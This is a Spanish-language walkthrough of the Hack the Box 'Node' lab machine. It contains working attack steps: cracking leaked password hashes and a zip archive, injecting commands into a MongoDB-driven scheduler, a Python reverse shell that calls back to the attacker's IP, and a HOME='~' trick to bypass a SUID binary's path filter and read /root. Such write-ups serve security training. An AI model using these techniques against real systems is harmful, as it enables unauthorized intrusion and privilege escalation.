En este writeup vamos a ver cómo resolver la máquina Node de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb-vip.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.58
El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.
Vamos a hacer un escaneo de puertos:
$ nmap -p- -A -Pn -T5 10.10.10.58 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open http Node.js Express framework
|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: MyPlace
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto SSH abierto y puerto 3000 abierto. Si nos dirigimos al navegador web y accedemos por el puerto 3000 vemos que se trata de una página web.
Realizamos un escaneo con dirbuster para encontrar directorios y ficheros:
Lo primero que nos encontramos nada más empezar a realizar el escaneo es que el servidor está devolviendo páginas inconsistentes a través de esta url:
http://node.htb:3000/thereIsNoWayThat-You-CanBeThere.php
Procedemos a guardar el resultado de cada pestaña en ficheros diferentes para analizarlos después.
No encontramos nada significativo con dirbuster salvo los ficheros troll.
Si inspeccionamos la web llegamos a encontrar los siguientes ficheros de angular:
Por ejemplo vemos que existe una api con los siguientes endpoints:
- [GET] /api/users/$name
- [POST] /api/session/authenticate
- [GET] /api/users/latest
- [GET] /api/admin/backup
- [GET] /api/session
Si revisamos el endpoint de /api/users/latest
[
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
Si revisamos el endpoint de /api/users:
[
{
"_id": "59a7365b98aa325cc03ee51c",
"username": "myP14ceAdm1nAcc0uNT",
"password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin": true
},
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
En total nos encontramos con cuatro usuarios de los cuales solo myP14ceAdm1nAcc0uNT es administrador.
Como tenemos los hashes de las contraseñas vamos a intentar averiguar el algoritmo. Para ello ejecutamos la herramienta hash-identifier y especificamos el hash del admin
Podemos usar hashcat para romper la contraseña:
$ hashcat -a0 -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af /usr/share/wordlists/rockyou.txt -O
Obtendremos algo así:
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
También podemos usar john the ripper para sacar la contraseña:
$ john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt admin_hash
El resultado es el mismo y llegaremos a las siguientes credenciales:
- usuario: myP14ceAdm1nAcc0uNT
- password: manchester
Una vez logueados podremos descargarnos un fichero de backup
Si hacemos un cat del fichero nos devolverá un chorro gigantesco en base64. Vamos a desencriptarlo:
$ cat myplace.backup | base64 --decode > backup
$ file backup
backup.zip: Zip archive data, at least v1.0 to extract
Al intentar abrirlo nos pedirá una contraseña para descomprimirlo. Vamos a crackear la contraseña.
Esto lo hacemos con la utilidad fcrackzip
$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup
PASSWORD FOUND!!!!: pw == magicword
Una vez descomprimido podemos ver en el fichero app.js que tenemos la cadena de conexión a MongoDB y las secret key en texto plano:
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
Aquí tenemos un usuario y una contraseña:
- usuario: mark
- password: 5AYRft73VtFpc84k
Capturar User Flag
Con esas credenciales vamos a conectarnos al ssh
$ ssh mark@10.10.10.58
Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
Para buscar el fichero con la user flag podemos ejecutar lo siguiente:
mark@node:~$ find / -name user.txt 2>/dev/null/home/tom/user.txt
Pero si intentamos leerlo no podremos por no tener permisos.
Si hacemos un ps aux vemos el siguiente proceso interesante:
tom 1413 0.0 4.3 1009080 33304 ? Ssl 15:19 0:01 /usr/bin/node /var/scheduler/app.js
El usuario tom está ejecutando un scheduler. Si nos vamos a ese directorio y analizamos app.js veremos que se conecta a mongo con las credenciales de mark y a la base de datos scheduler.
El script recupera de la tabla tasks todas las entradas y las recorre para ejecutar lo que hay en su campo cmd para a continuación borrar la task de la base de datos.
Lo que vamos a hacer es crear un bash en el directorio /tmp que lea el fichero de la user flag y lo guarde en ese mismo directorio.
$ cd /tmp
$ echo "cat /home/tom/user.txt > /tmp/user.txt" > capture.sh && chmod +x capture.sh
Después nos conectamos a la base de datos para insertar la task.
mongo -u mark -p 5AYRft73VtFpc84k scheduler
> db.tasks.insert({"cmd": "/tmp/capture.sh"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("5ffb352c990c73814f615b82"), "cmd" : "/tmp/capture.sh" }
Esperamos a que el script se ejecute y ya tendremos en /tmp el fichero con la user flag.
Lo que vamos a hacer es crear un bash en el directorio /tmp que lea el fichero de la user flag y lo guarde en ese mismo directorio.
Capturar Root Flag
Para capturar la root flag tenemos que seguir el mismo esquema pero invocando una shell reversa. Para ello en una terminal nueva abriremos un netcat a la escucha:
$ nc -nvlp 4242
Después en el servidor en el directorio /tmp creamos el siguiente fichero python:
import pty,socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.21",4242));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn(“/bin/bash”);
Le damos permisos de ejecución y después en mongo insertamos el siguiente registro:
> db.tasks.insert({"cmd":"python /tmp/reverse.py"})
Cuando se ejecute la tarea tendremos una nueva shell reversa:
$ nc -nvlp 4242
listening on [any] 4242 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.58] 37872
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@node:/$ id
id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
tom@node:/$
Una vez conectados como tom vamos a buscar aquellos ficheros con suid:
$ find / -perm -u=s -type f 2>/dev/null
De todos nos llama la atención este:
/usr/local/bin/backup
Si miramos qué tipo de archivo es con file vemos lo siguiente:
tom@node:/usr/local/bin$ file backup
$ file backup
backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
Es un binario, así que podemos mirar su contenido con el comando strings.
Vemos que es este el binario que se ha encargado de hacer la backup que nos hemos descargado antes.
Si lo ejecutamos no hace nada, pero tal y como hemos visto con strings parece que acepta tres parámetros de entrada. Esto lo hemos visto aquí:
$ strings backup
......
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
...
Vamos a ejecutar un ltrace llamando al binario y pasándole tres argumentos
$ ltrace backup test test test
....
fopen("/etc/myplace/keys", "r") = 0x9da1410
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x9da1410) = 0xff93f5cf
....
Vemos que el binario abre el fichero que se encuentra en /etc/myplace/keys y empieza a leer su contenido.
Si hacemos un cat de ese fichero lo corroboramos:
tom@node:/usr/local/bin$ cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
Con esto concluimos que parece ser que el primer parámetro de backup se corresponde con el nombre del fichero y el segundo con la key de cifrado.
Se intuye que el tercer parámetro corresponde con el path de lo que queremos hacer una backup por lo que si ejecutamos lo siguiente:
$ ltrace backup test a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp/test
...
strstr("/tmp/test", "..") = nil
strstr("/tmp/test", "/root") = nil
strchr("/tmp/test", ';') = nil
strchr("/tmp/test", '&') = nil
strchr("/tmp/test", '`') = nil
strchr("/tmp/test", '$') = nil
strchr("/tmp/test", '|') = nil
strstr("/tmp/test", "//") = nil
strcmp("/tmp/test", "/") = 1
strstr("/tmp/test", "/etc") = nil
strcpy(0xff80455c, "/tmp/test") = 0xff80455c
...
Nos damos cuenta de todas las comprobaciones que se evalúan para el tercer parámetro.
La única que no se está evaluando es la virgulilla (~) que es una variable que se corresponde con la $HOME del usuario, por lo que si volvemos a declarar la $HOME como el directorio /root podremos bypassear estas comprobaciones.
tom@node:/usr/local/bin$ export HOME=/root
tom@node:/usr/local/bin$ echo $HOME
/root
Si ahora ejecutamos el backup pero indicándole en el tercer parámetro que queremos que nos coja nuestra “HOME” a través de la virgulilla, automáticamente habrá pillado todo el directorio de /root.
$ backup test a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 "~"
Al ejecutarlo, nos imprimirá por pantalla un string en base64. Lo copiamos, lo pegamos en un fichero nuevo y hacemos lo siguiente para decodificarlo y extraer su información y capturar la root flag.
$ cat root_base64 | base64 --decode > root_backup
$ unzip root_backup
$ cat root/root.txt